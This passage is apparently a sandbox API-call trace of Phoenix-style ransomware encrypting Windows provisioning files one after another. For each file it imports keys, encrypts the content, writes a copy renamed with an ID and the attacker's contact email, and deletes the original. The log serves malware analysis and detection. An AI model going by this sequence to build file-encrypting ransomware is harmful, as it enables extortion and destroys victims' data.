	[0254.490] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151700) returned 1
	[0254.490] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.490] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c1, lpOverlapped=0x0) returned 1
	[0254.494] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0254.494] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0254.495] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0254.495] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.495] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0254.495] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0254.495] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0254.495] CryptDestroyKey (hKey=0x151700) returned 1
	[0254.495] CloseHandle (hObject=0x2d8) returned 1
	[0254.495] CloseHandle (hObject=0x2f4) returned 1
	[0254.495] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\54__connections_cellular_ctbc (brazil)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.496] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.496] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\550__connections_cellular_orange (madagascar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.497] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=716) returned 1
	[0254.497] CloseHandle (hObject=0x2f4) returned 1
	[0254.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\550__connections_cellular_orange (madagascar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\550__connections_cellular_orange (madagascar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.497] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\550__connections_cellular_orange (madagascar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.497] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.497] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.497] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\550__connections_cellular_orange (madagascar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.498] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151780) returned 1
	[0254.498] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.498] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cc, lpOverlapped=0x0) returned 1
	[0254.507] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0254.507] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0254.508] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1515c0) returned 1
	[0254.508] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.508] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0254.508] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0254.508] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0254.508] CryptDestroyKey (hKey=0x151780) returned 1
	[0254.508] CloseHandle (hObject=0x2f4) returned 1
	[0254.508] CloseHandle (hObject=0x2d8) returned 1
	[0254.508] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\550__connections_cellular_orange (madagascar)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.510] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.510] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\551__connections_cellular_orange (mali)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.510] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=828) returned 1
	[0254.510] CloseHandle (hObject=0x2d8) returned 1
	[0254.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\551__connections_cellular_orange (mali)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\551__connections_cellular_orange (mali)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.511] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\551__connections_cellular_orange (mali)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.511] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.511] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.511] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\551__connections_cellular_orange (mali)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.511] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0254.512] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.512] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x33c, lpOverlapped=0x0) returned 1
	[0254.684] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x340, dwBufLen=0x340 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x340) returned 1
	[0254.684] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x340, lpOverlapped=0x0) returned 1
	[0254.685] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0254.685] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.685] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0254.685] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0254.685] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0254.685] CryptDestroyKey (hKey=0x151280) returned 1
	[0254.685] CloseHandle (hObject=0x2d8) returned 1
	[0254.685] CloseHandle (hObject=0x2f4) returned 1
	[0254.685] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\551__connections_cellular_orange (mali)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.686] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.687] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\558__connections_cellular_orange (senegal)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.687] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=841) returned 1
	[0254.687] CloseHandle (hObject=0x2f4) returned 1
	[0254.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\558__connections_cellular_orange (senegal)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0254.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\558__connections_cellular_orange (senegal)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.687] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\558__connections_cellular_orange (senegal)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.688] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.688] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.688] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\558__connections_cellular_orange (senegal)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.688] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0254.688] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.688] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x349, lpOverlapped=0x0) returned 1
	[0254.690] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0254.690] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0254.691] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151700) returned 1
	[0254.691] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.691] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0254.691] CryptDestroyKey (hKey=0x151700) returned 1
	[0254.691] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0254.691] CryptDestroyKey (hKey=0x151740) returned 1
	[0254.691] CloseHandle (hObject=0x2f4) returned 1
	[0254.691] CloseHandle (hObject=0x2d8) returned 1
	[0254.691] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\558__connections_cellular_orange (senegal)_i1$(__mvid)@wap.provxml")) returned 1
	[0254.692] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.693] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\559__connections_cellular_orange (tunisia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.693] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=727) returned 1
	[0254.693] CloseHandle (hObject=0x2d8) returned 1
	[0254.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\559__connections_cellular_orange (tunisia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\559__connections_cellular_orange (tunisia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.693] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\559__connections_cellular_orange (tunisia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.694] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.694] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.694] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\559__connections_cellular_orange (tunisia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.695] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151500) returned 1
	[0254.695] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.695] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d7, lpOverlapped=0x0) returned 1
	[0254.696] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0254.696] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0254.697] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0254.697] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.697] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0254.697] CryptDestroyKey (hKey=0x151640) returned 1
	[0254.697] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0254.698] CryptDestroyKey (hKey=0x151500) returned 1
	[0254.698] CloseHandle (hObject=0x2d8) returned 1
	[0254.698] CloseHandle (hObject=0x2f4) returned 1
